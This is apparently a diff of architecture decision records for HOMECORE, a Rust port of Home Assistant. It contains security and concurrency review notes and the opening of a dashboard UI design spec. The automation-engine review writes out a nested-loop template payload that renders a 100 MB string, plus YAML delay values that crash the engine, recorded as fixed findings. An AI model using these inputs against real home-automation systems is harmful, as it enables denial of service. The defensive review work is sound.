| **P9** | HACS integration repo (`hass-wifi-densepose`) for HA-side install path | pending |
|
||||
| **P10** | Witness bundle + CSA-style spec compliance check | pending |
|
||||
|
||||
## 4.1 Crypto/security review notes (§2.2 witness chain — ADR-262 P2 prerequisite)
|
||||
|
||||
Beyond-SOTA crypto+security review of the SHA-256 + Ed25519 witness chain
|
||||
(`witness.rs` / `witness_signing.rs`) and the manifest signature surface
|
||||
(`manifest.rs`), because ADR-262 P2 proposes to **reuse this exact signing
|
||||
chain**. Top priority was the sibling `wifi-densepose-engine` bug class —
|
||||
unframed boundary-to-boundary concatenation of operator-influenceable strings
|
||||
into a signed/hashed digest.
|
||||
|
||||
- **Engine bug class ABSENT (good result, reported with byte evidence).**
|
||||
`canonical_bytes` is `DOMAIN_TAG ‖ prev_hash[32] ‖ seq:u64-be ‖ ts:u64-be ‖
|
||||
kind_len:u32-be ‖ kind ‖ payload_len:u32-be ‖ payload`. The two
|
||||
variable-length operator-influenceable fields (`kind`, `payload`) are
|
||||
**length-prefixed**; the fixed-width fields are self-delimiting → the
|
||||
encoding is injective (no two distinct event tuples share a preimage). The
|
||||
Ed25519 signature signs the **identical** bytes the SHA-256 chain commits to.
|
||||
No separate unframed concatenation exists; the manifest `binary_signature`
|
||||
is signed at build time (Makefile) over a single fixed-length `binary_sha256`
|
||||
hex value, not in-crate.
|
||||
|
||||
- **CHM-WIT-01 (FIXED) — domain-separation tag added.** The engine fix
|
||||
prescribed *domain-tag + length-prefix*; length-prefix was present, the
|
||||
domain tag was not. Added a versioned, NUL-terminated
|
||||
`WITNESS_DOMAIN_TAG = b"cog-ha-matter/witness-event/v1\x00"` prefix so the
|
||||
witness message can never be replayed as a message for another Ed25519
|
||||
context that shares key infrastructure (notably the manifest signature).
|
||||
**Witness bytes change by design** (prior on-disk hashes/signatures
|
||||
invalidated, as with the engine fix); verified safe because no in-repo crate
|
||||
consumes cog-ha-matter witness bytes programmatically (doc-mentions only).
|
||||
|
||||
- **CHM-WIT-02 (HARDENED) — `verify_signature` now uses `verify_strict`.** For
|
||||
an audit chain the signature is the attestation, so non-canonical encodings
|
||||
and small-order keys are rejected (RFC 8032 strict), giving the "one
|
||||
canonical signature per event" property. Not a forgery fix — the verifying
|
||||
key is caller-pinned, never read from the event.
|
||||
|
||||
- **Confirmed clean (with evidence):** verify-before-trust + key-pinning
|
||||
(`verify_signature` takes the verifying key as a parameter; `read_jsonl`
|
||||
re-derives every hash and chain-verifies); key handling (the crate never
|
||||
generates/stores/logs/serializes a signing key — only a documented test-only
|
||||
fixed seed; production keys come from the Seed secure store, out of scope);
|
||||
determinism (positional bytes, deterministic Ed25519, alphabetically-locked
|
||||
JSONL field order, sorted TXT records — no HashMap/float nondeterminism feeds
|
||||
any digest); fail-closed parsing (structured errors, no panics; `main.rs`
|
||||
reads no untrusted files/paths).
|
||||
|
||||
Tests: `cog-ha-matter --no-default-features` 64 → **68**, 0 failed (CHM-WIT-01
|
||||
pinned by 4 fails-on-old tests across `witness.rs`/`witness_signing.rs`;
|
||||
CHM-WIT-02 guarded by a key-pinning test). Python deterministic proof
|
||||
unchanged (cog-ha-matter is off the signal proof path).
|
||||
|
||||
## 5. References
|
||||
|
||||
- ADR-101 — `cog-pose-estimation` packaging precedent (signed binaries on GCS, .cog manifest)
|
||||
|
||||
@@ -190,4 +190,78 @@ The entity registry is a `RwLock<HashMap<EntityId, EntityEntry>>` backed by an a
|
||||
|
||||
- `v2/crates/wifi-densepose-sensing-server/src/main.rs` — Axum + Tokio architecture pattern used throughout the existing server stack
|
||||
- `docs/adr/ADR-126-ruview-native-ha-port-master.md` — HOMECORE master; §5.5 crate naming; §6 compatibility contract; §5.1 RUVIEW-POLICY
|
||||
|
||||
---
|
||||
|
||||
## 9. Security & concurrency review (P1 core, beyond-SOTA sweep)
|
||||
|
||||
Foundational review of the `homecore` crate — the state store + event bus +
|
||||
service/entity registries every other HOMECORE module trusts. Same rigor as
|
||||
the ADR-129/130/132/133/161 sibling reviews. **Three real fixes (one
|
||||
concurrency, two hardening), each pinned by a fails-on-old test; the bus-lag
|
||||
and lock-discipline dimensions confirmed clean with evidence.**
|
||||
|
||||
- **HC-RACE-01 (state-set TOCTOU — lost / reordered `state_changed`, the
|
||||
crux). FIXED.** `StateMachine::set` did `get()` (releasing the DashMap
|
||||
shard lock) → compute the next snapshot + the no-op / `last_changed`
|
||||
decision → `insert()` (re-acquiring the lock) → `send()`. The
|
||||
read-modify-write was **not atomic** w.r.t. a concurrent writer on the
|
||||
same entity, contradicting §2.1's promise that "the writer atomically
|
||||
replaces the map entry." A writer that read a stale `old` could
|
||||
mis-classify a genuine transition as a no-op and **drop its
|
||||
`state_changed` event** (a missed automation trigger) or fire an event
|
||||
whose `new_state` duplicated the previously delivered one (a spurious
|
||||
trigger for any automation keyed on `old_state != new_state`). **Fix:**
|
||||
hold the shard write-lock across the entire read→decide→insert→fire
|
||||
sequence via `entry()`/`insert_entry()`; `tx.send` is non-blocking,
|
||||
non-async, and never re-enters the map, so firing under the shard lock
|
||||
cannot deadlock and keeps global event order in lock-step with global
|
||||
commit order. Pinned by `concurrent_set_fires_no_duplicate_adjacent_events`
|
||||
(4 writers toggling one entity A/B; asserts no two consecutive fired
|
||||
events carry an identical `new_state` — impossible under correct
|
||||
serialisation; a probe observed ~93k such duplicate-adjacent events across
|
||||
200 trials on the racy code, zero on the fix).
|
||||
- **HC-EID-LEN-01 (unbounded `entity_id` — memory-DoS at the REST boundary).
|
||||
FIXED.** `homecore-api/src/rest.rs` parses untrusted path segments
|
||||
straight through `EntityId::parse`; with no length cap, an
|
||||
otherwise-valid id (`a.` + many MB of `[a-z0-9_]`) was accepted and a
|
||||
`POST /api/states/<giant>` would persist it into the DashMap state store
|
||||
(permanent growth across distinct ids). **Fix:** reject ids longer than
|
||||
`MAX_ENTITY_ID_LEN` (255, HA-compatible) up front in `parse()`, before any
|
||||
per-char scan, with a new `EntityIdError::TooLong`; fail-closed at the
|
||||
boundary type protects every caller. Pinned by `entity_id_length_boundary`
|
||||
(exactly-MAX accepted, MAX+1 and a 4 MiB id rejected — fails on old code).
|
||||
- **HC-SVC-PANIC-01 (service-handler panic not isolated). HARDENED.**
|
||||
`ServiceRegistry::call` already ran handlers outside the registry lock (no
|
||||
`RwLock` poisoning, no blocking of other callers — clean), but a
|
||||
panicking handler unwound through `call()` into the caller's task. **Fix:**
|
||||
wrap the handler future in `AssertUnwindSafe` + `catch_unwind`, converting
|
||||
a panic to `ServiceError::HandlerPanicked`; the registry stays fully
|
||||
usable. Pinned by `panicking_handler_is_isolated_and_registry_survives`.
|
||||
|
||||
**Dimensions confirmed clean (with evidence):**
|
||||
|
||||
- **Event-bus bounds / lag (same class as the homecore-api WS lag-DoS).**
|
||||
Both `StateMachine` and `EventBus` use bounded `tokio::sync::broadcast`
|
||||
(capacity 4,096). A slow subscriber gets a recoverable `Lagged(n)`
|
||||
(drop-oldest + re-sync); `fire_*` is non-blocking and **never waits on
|
||||
slow receivers**, so a lagging subscriber cannot block the publisher, grow
|
||||
the channel without bound, or take down a fast subscriber. Evidenced by
|
||||
`slow_subscriber_does_not_block_publisher_or_kill_the_bus` (fire 3×
|
||||
capacity at an idle subscriber; publisher unblocked, bus stays live).
|
||||
- **Lock ordering / lock-across-await (deadlock).** No code path holds two
|
||||
of `{state DashMap, registry RwLock, service RwLock}` simultaneously, so
|
||||
no inconsistent-ordering deadlock can exist. Every `tokio::sync::RwLock`
|
||||
guard in `registry.rs`/`service.rs` is used in a single synchronous
|
||||
statement and dropped before any `.await`; `call` explicitly scopes the
|
||||
read guard out before awaiting the handler. The only guard held across a
|
||||
send is the DashMap shard lock in `set`, across a synchronous
|
||||
(non-await) broadcast send — safe.
|
||||
- **Panic-on-input.** No reachable `unwrap`/`expect`/index in non-test code
|
||||
beyond the safe `send().unwrap_or(0)` and the dead-but-harmless
|
||||
`split_once(...).unwrap_or(...)` fallbacks on already-validated ids.
|
||||
|
||||
`cargo test -p homecore --no-default-features`: **20 → 24 passed, 0 failed**
|
||||
(+4 pins). Workspace green; Python deterministic proof unchanged
|
||||
(`f8e76f21…46f7a`, bit-exact — `homecore` is off the signal proof path).
|
||||
- `docs/adr/ADR-028-esp32-capability-audit.md` — witness chain pattern (Ed25519 per state transition)
|
||||
|
||||
@@ -190,6 +190,23 @@ This is the same Wasmtime host already used for integration plugins (ADR-128)
|
||||
|
||||
---
|
||||
|
||||
## 8a. Security review (beyond-SOTA sweep, post ADR-154–159)
|
||||
|
||||
A focused security review of `homecore-automation` (the execution/eval surface — triggers → conditions → actions, with templates) was run after the ADR-154–159 sweep, applying the same rigor that the sibling engine/bfld/calibration/vitals/geo reviews used. **Two real DoS findings, each pinned by a fails-on-old test; the condition-bypass, fail-closed-parsing, and action-authorization dimensions were probed and found clean.**
|
||||
|
||||
- **HC-SEC-01 (template-injection / unbounded-expansion DoS, HIGH) — FIXED.** A `template:` condition / `value_template` is user automation config, and was rendered with MiniJinja's defaults: **no instruction budget, no output cap**. A single condition such as `{% for i in range(5000) %}{% for j in range(5000) %}xxxx{% endfor %}{% endfor %}` rendered a **100 MB string over ~11 s on one render call** (measured) — a CPU/memory denial of service (the bfld-class "unbounded expansion"; MiniJinja's per-call `range()` 10k cap does **not** stop nested loops). **Fix:** enable MiniJinja's `fuel` feature and set a per-render budget (`set_fuel(Some(1_000_000))`) so a nested loop burns one unit per iteration — the attack now fails fast (~90 ms) with "engine ran out of fuel"; plus a 64 KiB source-length cap rejecting pathological sources before compilation. Legitimate HA templates (a few dozen instructions) are unaffected. Pinned by `nested_loop_template_is_bounded_not_unbounded_dos`, `single_huge_repeat_template_is_bounded`, `oversized_template_source_is_rejected` (all fail-on-old: unbounded render / no rejection), and `legitimate_template_still_renders_within_fuel` (no regression).
|
||||
- **HC-SEC-02 (panic-on-config DoS, MEDIUM) — FIXED.** `Action::Delay { seconds }` and `Action::WaitForTrigger { timeout_seconds }` fed the user-supplied float straight into `Duration::from_secs_f64`, which **panics** on negative, NaN, infinite, or overflowing inputs — all reachable from a crafted (or typo'd) YAML (`delay: {seconds: -1}`, `.nan`, `.inf`, `1e308`). One hostile config aborts the spawned automation run task with a panic (measured: "cannot convert float seconds to Duration: value is negative"). **Fix:** a `safe_duration_from_secs` guard that saturates instead of panicking (NaN/±inf/negative → `Duration::ZERO`, matching HA's lenient "non-positive delay = no delay"; absurdly large → clamped to ~100 years). Pinned by `delay_negative_seconds_does_not_panic`, `delay_nan_seconds_does_not_panic`, `delay_infinite_seconds_does_not_panic`, `wait_for_trigger_negative_timeout_does_not_panic`, `safe_duration_saturates_hostile_values` (incl. overflow clamp).
|
||||
|
||||
**Dimensions confirmed clean (with evidence):**
|
||||
- **Condition bypass / fail-closed eval** — a `Condition::Template` whose render errors evaluates to `false` (`condition.rs` `Err(_) => false`), and a `Choose` branch condition that fails to deserialize is treated as **non-matching** (the branch is skipped), not silently passing (`action.rs` `ChoiceBranch::matches` `Err(_) => return false`). Both fail **closed** (do-not-run), confirmed by the existing `choose_*` tests and template-false-blocks-action behavioral test. No true-by-default-on-parse-error path found.
|
||||
- **Re-entrancy / livelock (DoS)** — run-mode machinery is bounded and tested: `Single`/`IgnoreFirst` re-entrancy guard, `Restart` cancel-and-replace, `Queued` FIFO serialization, and `max: N` semaphore cap (ADR-162; `restart_mode_cancels_prior_run`, `queued_mode_runs_sequentially_not_concurrently`, `max_two_caps_concurrency_at_two`, `single_mode_does_not_double_fire_on_rapid_triggers`). A self-triggering automation does not livelock the engine — each fire is bounded by its run-mode.
|
||||
- **Action authorization** — templates are read-only sandboxed (`states`/`state_attr`/`is_state`/`now` globals; no service-call or state-set global is exposed to template scope), so a template cannot escalate into an action. Service authorization itself is enforced at the `homecore` service-registry boundary (out of this crate's scope); no gap found in what the automation crate enforces.
|
||||
- **Panic-on-config (parse)** — `serde_yaml`/`serde_json` deserialization returns structured `AutomationError` (no `unwrap`/`expect`/index reachable from a crafted config in the eval/exec path); the only remaining panic surface was the `from_secs_f64` path fixed as HC-SEC-02.
|
||||
|
||||
Validation: `cargo test -p homecore-automation --no-default-features` → 54 passed / 0 failed (+14 over baseline). Python deterministic proof unchanged (homecore-automation is off the signal-processing proof path).
|
||||
|
||||
---
|
||||
|
||||
## 9. References
|
||||
|
||||
### HA upstream
|
||||
|
||||
@@ -0,0 +1,444 @@
|
||||
# ADR-131: HOMECORE-UI — Operational dashboard for the two-tier Cognitum stack
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — UI implemented (§10); full backend wiring specified (§11–§12) |
|
||||
| **Date** | 2026-06-14 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **HOMECORE-UI** — first-class operator dashboard inside the Cognitum Appliance shell |
|
||||
| **Relates to** | [ADR-126](ADR-126-ruview-native-ha-port-master.md) (HOMECORE master), [ADR-127](ADR-127-homecore-state-machine-rust.md) (HOMECORE-CORE state machine), [ADR-128](ADR-128-homecore-integration-plugin-system.md) (HOMECORE-PLUGINS), [ADR-129](ADR-129-homecore-automation-engine.md) (automation engine), [ADR-130](ADR-130-homecore-rest-websocket-api.md) (HOMECORE-API), [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) (recorder/semantic search), [ADR-151](ADR-151-room-calibration-specialist-training.md) (room calibration HTTP API), [ADR-100](ADR-100-cog-packaging-specification.md) (Cog packaging), [ADR-116](ADR-116-cog-ha-matter-seed.md) (cog-ha-matter), [ADR-069](ADR-069-cognitum-seed-csi-pipeline.md) (SEED RVF ingest), [ADR-105](ADR-105-federated-csi-training.md) (federated CSI training) |
|
||||
| **Tracking issue** | TBD |
|
||||
| **Parent** | [ADR-126](ADR-126-ruview-native-ha-port-master.md) (sub-ADR, HOMECORE-127…134 family) |
|
||||
|
||||
---
|
||||
|
||||
## 1. Context
|
||||
|
||||
HOMECORE (ADR-126 through ADR-134) is the native Rust + WASM + TypeScript port of Home Assistant running as the hub on the Cognitum v0 Appliance. As of P2, the state machine ([ADR-127](ADR-127-homecore-state-machine-rust.md)), API ([ADR-130](ADR-130-homecore-rest-websocket-api.md)), and COG runtime ([ADR-128](ADR-128-homecore-integration-plugin-system.md)) are in place. What is missing is a first-class dashboard UI that operators, integrators, and residents can use to manage the full two-tier hardware stack that HOMECORE coordinates.
|
||||
|
||||
### 1.1 The two-tier hardware model this UI must represent
|
||||
|
||||
This is the most important architectural constraint the UI must carry through every panel:
|
||||
|
||||
- **Cognitum SEED** — a Pi Zero 2 W-based edge node. It has its own RVF vector store (8-dim, content-addressed, with kNN queries), Ed25519 witness chain, SHA-256 ingest audit trail, onboard environmental sensors (BME280 temperature/humidity/pressure, PIR motion, reed switch, ADS1115 4-channel ADC, vibration), 13 drift detectors, an MCP proxy (114 tools, JSON-RPC 2.0, default-deny policy), 98 HTTPS API endpoints, and epoch-based swarm sync for multi-SEED deployments. SEEDs sit close to the ESP32 sensing nodes and receive feature vectors from them at 1 Hz. Multiple SEEDs can form a peer mesh. **This is the sensing and memory tier.**
|
||||
- **Cognitum v0 Appliance** — a Pi 5 + Hailo-10H hub, running at `:9000`. It hosts the COG runtime (`/var/lib/cognitum/apps/`), the HOMECORE state machine and event bus, the calibration service, `ruview-mcp-brain:9876`, `cognitum-rvf-agent:9004`, `ruvector-hailo-worker:50051`, and acts as the fleet coordinator for multi-room correlation and federated training. The Appliance is where HOMECORE runs, and it is what the dashboard user is sitting in front of. **This is the computation and orchestration tier.**
|
||||
|
||||
SEEDs are **subordinate nodes that the Appliance supervises** — they are not peers. The UI navigation hierarchy must reflect this: the Appliance is the root, SEEDs are children, ESP32 nodes are leaves.
|
||||
|
||||
### 1.2 What the UI is not
|
||||
|
||||
HOMECORE-UI is **not** a re-skin of the existing Cognitum Cog Store. It is a full operational dashboard that **extends** the Cognitum platform's shell — the Cog Store, API Explorer, and Guide already exist and must remain intact, with the HOMECORE dashboard added as a first-class navigation section alongside them.
|
||||
|
||||
---
|
||||
|
||||
## 2. Decision
|
||||
|
||||
Build HOMECORE-UI as a **complete** TypeScript + Rust→WASM frontend (per this ADR's §3 and the HOMECORE-127…134 family) that:
|
||||
|
||||
1. Lives at `http://cognitum-v0:9000/homecore` (or as a dedicated nav item in the Cognitum Appliance shell).
|
||||
2. Is visually and stylistically seamless with the existing Cognitum platform — same dark theme, same design tokens, same component patterns as `https://seed.cognitum.one/store`.
|
||||
3. Drives the HOMECORE REST + WebSocket API ([ADR-130](ADR-130-homecore-rest-websocket-api.md)) and the calibration HTTP API ([ADR-151](ADR-151-room-calibration-specialist-training.md)) for all data.
|
||||
4. Updates in real-time via the homecore `subscribe_events` WebSocket channel. **The UI must never poll for entity state.**
|
||||
|
||||
**This is a decision to deliver the complete operational dashboard — every panel in §4.1 through §4.10, every navigation section in §5, fully wired to live data — not a design-system scaffold or a partial first cut.** A static layout shell with placeholder data is explicitly **out of scope as a deliverable**: the design system (§3) is a means to the complete UI, not an end in itself. The acceptance bar for this ADR is that an operator can drive the full two-tier stack — fleet, entities, rooms, COGs, calibration, events, audit, and settings — from the dashboard, against real APIs, with no panel left as a stub.
|
||||
|
||||
### 2.1 `homecore-server` is the single backend-for-frontend (BFF) gateway
|
||||
|
||||
The data the dashboard needs is spread across **three backend tiers that are not one process**: (a) `homecore-api` (`/api/*` REST + `/api/websocket`, mounted in `homecore-server`); (b) the **calibration API** (`/api/v1/*`, served by a *separate* binary — `wifi-densepose calibrate-serve` / `wifi-densepose-sensing-server`); and (c) the **SEED device tier + appliance daemons** (RVF vector store, witness chain, onboard sensors, reflex rules, COG supervisor, federation), which are physically separate HTTPS services on the SEED nodes and the appliance.
|
||||
|
||||
The browser must talk to **exactly one origin.** Therefore `homecore-server` is promoted to the **single BFF / API gateway** for HOMECORE-UI: it serves the static assets at `/homecore`, serves `homecore-api` at `/api/*`, and **adds a new `/api/homecore/*` namespace** that proxies and aggregates the calibration API and the SEED/appliance tiers server-side. The UI only ever issues same-origin requests; cross-service auth (SEED bearer tokens, calibration tokens) is held by the gateway and **never exposed to the browser**. This collapses the CORS/multi-port problem and gives one place to enforce the long-lived-access-token auth (§4.10).
|
||||
|
||||
### 2.2 No mock data in production
|
||||
|
||||
The in-browser mock layer that the first UI cut shipped behind DEMO banners (§7.1, prior revision) is **demoted to a dev-only fixture** gated behind an explicit `?demo=1` / `HOMECORE_UI_DEMO=1` flag. The production build wires **every** panel to a real gateway endpoint. The full endpoint contract and the backend work each panel needs are specified in **§11**; the staged path to get there is **§12**. A panel may show an empty/typed-error state when its upstream is down, but it must never silently render fabricated data.
|
||||
|
||||
---
|
||||
|
||||
## 3. Design system — Cognitum platform conventions
|
||||
|
||||
The implementor **must study `https://seed.cognitum.one/store` as the definitive design reference before writing a single line of CSS.** The existing platform's design tokens, extracted from production, are:
|
||||
|
||||
### 3.1 Colour palette (CSS custom properties)
|
||||
|
||||
| Token | Value | Role |
|
||||
|---|---|---|
|
||||
| `--bg` | `#0a0e1a` | page background (very dark navy) |
|
||||
| `--bg2` | `#111627` | secondary background / nav strip |
|
||||
| `--card` | `#171d30` | card / panel surface |
|
||||
| `--card-h` | `#1e2540` | card hover state |
|
||||
| `--border` | `#252d45` | all border strokes (≈0.67px, subtle) |
|
||||
| `--t1` | `#e0e4f0` | primary text (near-white) |
|
||||
| `--t2` | `#8890a8` | secondary / muted text |
|
||||
| `--t3` | `#505872` | tertiary / disabled text |
|
||||
| `--cyan` | `#4ecdc4` | primary action colour (Install buttons, live indicators, accents) |
|
||||
| `--cyan-d` | `rgba(78,205,196,0.15)` | cyan tint background for status badges |
|
||||
| `--green` | `#6bcb77` | success / online / healthy states |
|
||||
| `--green-d` | `rgba(107,203,119,0.15)` | green tint background |
|
||||
| `--amber` | `#d4a574` | warning / stale / degraded states |
|
||||
| `--amber-d` | `rgba(212,165,116,0.15)` | amber tint background |
|
||||
| `--red` | `#e06060` | error / offline / veto states |
|
||||
| `--red-d` | `rgba(224,96,96,0.15)` | red tint background |
|
||||
| `--purple` | `#a78bfa` | informational / epoch / chain indicators |
|
||||
| `--purple-d` | `rgba(167,139,250,0.15)` | purple tint background |
|
||||
| `--r` | `10px` | standard border radius on all cards and panels |
|
||||
|
||||
### 3.2 Typography
|
||||
|
||||
- `--font`: `'Segoe UI', system-ui, -apple-system, sans-serif` — all body and heading text.
|
||||
- `--mono`: `'Cascadia Code', 'Fira Code', Consolas, monospace` — all entity IDs, API endpoints, hex values, JSON payloads, COG binary hashes.
|
||||
|
||||
### 3.3 Component patterns (from the live Cog Store and API Explorer)
|
||||
|
||||
- **Cards**: `background: var(--card)`, `border: 0.67px solid var(--border)`, `border-radius: var(--r)`, `padding: 24px`.
|
||||
- **Category pills / status badges**: small `border-radius: 4–6px`, uppercase text, coloured background tint (e.g. `background: var(--cyan-d); color: var(--cyan)` for `RUNNING`; `background: var(--amber-d); color: var(--amber)` for `STALE`).
|
||||
- **Primary action buttons**: `background: var(--cyan)`, `color: var(--bg)`, no border — matching the existing "Install" button style exactly.
|
||||
- **Secondary / ghost buttons**: transparent background, `border: 1px solid var(--border)`, `color: var(--t1)` — matching the existing "Details" button style.
|
||||
- **Nav strip**: `background: var(--bg2)`, text items in `--t2`, active item highlighted in `--cyan` with a bottom underline.
|
||||
- **Featured card gradient borders**: top-edge linear gradient from `var(--cyan)` to `var(--purple)` — replicate for HOMECORE section headers.
|
||||
- **Live metric cards** (API Explorer status page): icon + large numeric value in `--cyan` or `--green`, label in `--t2` below, on a `var(--card)` background.
|
||||
- **Method badge pills** on the API Explorer (`GET` in green, `POST` in amber, `AUTH` in purple) — reuse this same pill system for COG status indicators.
|
||||
|
||||
The implementor **must not introduce new colours, typefaces, or border radii.** Every component should feel like it was built by the same team that built the Cog Store and the API Explorer. A user navigating from the Cog Store into the HOMECORE dashboard should not notice a visual seam.
|
||||
|
||||
---
|
||||
|
||||
## 4. UI sections — required panels
|
||||
|
||||
### 4.1 System Dashboard (the "home screen")
|
||||
|
||||
The always-visible overview panel. Modelled on the API Explorer's live metric cards. All values update in real-time.
|
||||
|
||||
- **v0 Appliance health strip** — reuse the exact metric-card pattern from `seed.cognitum.one/status`: one card each for CPU %, RAM usage, Hailo-10H inference load (% utilisation), Hailo temperature, uptime, and the running services (`ruview-mcp-brain:9876`, `cognitum-rvf-agent:9004`, `ruvector-hailo-worker:50051`). Values in `--cyan`, labels in `--t2`. This strip is always at the top — it represents the machine the user is looking at.
|
||||
- **SEED Fleet overview** — a grid of SEED node cards (one per paired SEED) on the `var(--card)` surface with `var(--border)`. Each card shows: online/offline status pill (green/red), firmware version, epoch number, current vector count, last ingest timestamp, and witness-chain validity badge. A collapsed row shows the SEED's 5 onboard sensors in summary (PIR: yes/no, door: open/closed, temperature from BME280). Offline SEEDs render the entire card with a `--red-d` background tint. Clicking a SEED card navigates to the SEED Detail view (§4.2).
|
||||
- **ESP32 Node summary** — count of active ESP32 nodes per SEED, current frame rate (target: 100 Hz CSI + 1 Hz feature vectors), and a compact warning list for nodes with known issues (presence_score normalisation anomaly, stale firmware version).
|
||||
- **COG Runtime status row** — a horizontal strip of status pills for each installed COG on the v0 Appliance. Pill colours follow the existing badge convention: `--green-d`/`--green` for running, `--red-d`/`--red` for failed, `--t3`/`--t2` for stopped. COG name in `--mono`. Clicking a pill navigates to COG Management (§4.6).
|
||||
- **Event Bus activity indicator** — a small real-time sparkline showing the homecore broadcast channel event rate (events/sec). Indicate channel lag if a subscriber is falling behind the 4,096-event capacity.
|
||||
|
||||
### 4.2 SEED Detail View (per-SEED drill-down)
|
||||
|
||||
Accessible from the fleet grid. Full-page panel for a single SEED node, using the card + section-header pattern from the Cog Store's detail views.
|
||||
|
||||
- **SEED identity header** — `device_id` in `--mono`, firmware version, paired status in green, USB vs WiFi connection mode. A section-header gradient border (cyan → purple, matching the featured card style) visually separates this from Appliance content.
|
||||
- **Vector Store panel** — current vector count, dimension (8), last kNN query latency, current epoch number, a small sparkline of ingest rate over the last hour, and a storage budget bar showing usage against the 100K working-set target. A "Compact now" button (`POST /api/v1/store/compact`) in ghost style. When usage exceeds 80%, the bar renders in `--amber`.
|
||||
- **Witness Chain panel** — chain length (SHA-256 entries), last verification timestamp, a one-click "Verify chain" button (`POST /api/v1/witness/verify`), and an "Export attestation bundle" button for regulated deployments. The Ed25519 custody attestation (device-bound keypair, epoch + vector count + witness head) renders here. Chain length in `--purple`, following the existing epoch/chain colour convention.
|
||||
- **Onboard Sensors panel** — live readings from all 5 sensors in individual sub-cards: BME280 (temperature °C, humidity %, pressure hPa), PIR (motion boolean with last-triggered timestamp), reed switch (open/closed with last-changed timestamp), ADS1115 (4 analog channels with configurable labels), vibration (boolean with last-triggered). These are ground-truth validators against CSI readings and are critical for diagnosing false positives in the mixture-of-specialists. Sensor values in `--cyan`; sensor names in `--t2`.
|
||||
- **Reflex Rules panel** — the 3 pre-configured rules with current state: `fragility_alarm` (threshold 0.3 → relay actuator), `drift_cutoff` (threshold 1.0), `hd_anomaly_indicator` (threshold 200 → PWM brightness). Show last-fired time for each. The `fragility_alarm` threshold is the most commonly adjusted field and should be editable inline. Rules that have recently fired render with a `--amber-d` background tint.
|
||||
- **Cognitive Analysis panel** — boundary fragility score (0.0–1.0, from Stoer-Wagner min-cut on the kNN graph) rendered as a progress bar: green below 0.3, amber 0.3–0.6, red above 0.6. High fragility (>0.3) indicates a regime change in the environment and should be visually prominent. Temporal coherence phase boundaries shown as a labelled timeline of detected environment state transitions. kNN graph rebuild cadence indicator (every 10 s).
|
||||
- **Ingest pipeline status** — which ESP32 nodes feed this SEED, the packet type each is sending (`0xC5110003` native feature vectors vs `0xC5110002` vitals fallback path — distinguished visually since native is preferred), current ingest batch size, flush interval, and bridge path topology (direct vs host-laptop hop). The bridge-hop warning (known architectural limitation) renders in `--amber` since it adds a network hop.
|
||||
|
||||
### 4.3 SEED Fleet Map (multi-SEED topology)
|
||||
|
||||
For deployments with more than one SEED, a topology view showing the mesh:
|
||||
|
||||
- **Node hierarchy diagram** — v0 Appliance at root, SEEDs as second tier (grouped by room/zone), ESP32 nodes as leaves under each SEED. Lines represent active data flows. ESP-NOW mesh sync links between SEEDs shown as dashed lines. Connection health shown via line colour (green/amber/red). All labels in `--mono`.
|
||||
- **Cross-SEED event deduplication indicator** — for events that span multiple SEEDs (one fall detected by two rooms; one occupant tracked through room A → hallway → room B), show a fusion badge indicating how many SEEDs contributed to the composite event.
|
||||
- **Federation config** ([ADR-105](ADR-105-federated-csi-training.md)) — federated-learning round coordinator role (which SEED is the round coordinator), current round number, K healthy nodes selected, delta exchange status. **Model deltas only — never raw CSI** is a design invariant that must be labelled explicitly in the UI.
|
||||
|
||||
### 4.4 Entity & State Browser
|
||||
|
||||
The homecore state machine (`DashMap<EntityId, Arc<State>>`) is the authoritative source of truth. Every COG running on the v0 Appliance contributes entities.
|
||||
|
||||
- **Entity list by domain** — grouped by the `domain.` prefix of `EntityId`, using collapsible section headers. The 21 entities per ESP32 node (11 raw + 10 semantic primitives from `cog-ha-matter`) are the most important set. For each entity: current state string (in `--t1`), last-changed timestamp (in `--t3`), attribute map as collapsible JSON in `--mono`, and the Context (`user_id` + `parent_id` causality chain, critical for care/audit deployments). Entity IDs always in `--mono`.
|
||||
- **SEED provenance badge** — each entity carries a small badge showing its data lineage: which ESP32 node → which SEED → which COG → homecore state machine. This trace is invaluable for debugging false positives and is a **first-class UI element, not a collapsed detail.**
|
||||
- **Domain filter + semantic search** — filter by domain prefix and, once [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) (homecore-recorder) lands, ruvector-backed semantic search: "when did the living room anomaly score last correlate with a door-open event?" A keyword filter across entity IDs and attribute keys ships in the initial release regardless of [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) status, given entity density; the semantic search layers on top once the recorder lands.
|
||||
- **Real-time WebSocket feed** — entity states update live via the homecore `subscribe_events` WebSocket command ([ADR-130](ADR-130-homecore-rest-websocket-api.md)). The UI must never poll. Show a broadcast-channel lag indicator; warn visually if the subscriber is falling behind the 4,096-event channel capacity.
|
||||
- **StateChanged detail panel** — clicking any entity opens a slide-over panel showing the full `StateChangedEvent`: `old_state`, `new_state`, `context.id`, `context.user_id`, and the `context.parent_id` chain rendered as a breadcrumb trail.
|
||||
|
||||
### 4.5 RoomState / Sensing Panel
|
||||
|
||||
Surfaces the mixture-of-specialists output from the calibration service — the highest-level per-room sensing result. Data comes from `GET /api/v1/room/state?bank=<room_id>` on the v0 Appliance.
|
||||
|
||||
- **Per-room cards** — one card per `room_id` on the `var(--card)` surface. Each card shows live `RoomState` JSON fields as sub-rows: presence (occupied/absent chip in green/red with confidence bar), posture (standing/sitting/lying chip with confidence), breathing BPM (numeric in `--cyan` with range indicator 6–30), heart rate BPM (numeric in `--cyan` with range indicator 40–120), restlessness score (0–1 progress bar), and anomaly score (0–1 with normal/anomalous label, bar turns red above a configurable threshold).
|
||||
- **STALE warning** — when `stale: true` (the specialist bank was trained against a different baseline), render the entire room card with a `--amber-d` background tint and a prominent amber banner reading "Bank stale — baseline has changed" with a direct "Recalibrate room" link into the calibration wizard (§4.7). This is the most common real-world failure mode and **must never be subtle.**
|
||||
- **VETO indicator** — when `vetoed: true` (anomaly veto suppressed vitals/posture because the window was physically implausible), render the affected specialist slots in `--red` with a "Veto active" label. Values suppressed by veto **must not render as zeros** — they must render as explicitly withheld.
|
||||
- **Null specialist placeholders** — specialists not yet trained (`null` in the specialist bank) render as "Not trained" placeholders in `--t3` with a small "Calibrate to enable" prompt in ghost style. They are **not** errors.
|
||||
- **Confidence bars** — each specialist output has a confidence float, shown as a small inline bar (`--cyan` fill) next to the reading. Low confidence (< 0.4) renders the bar in `--amber`.
|
||||
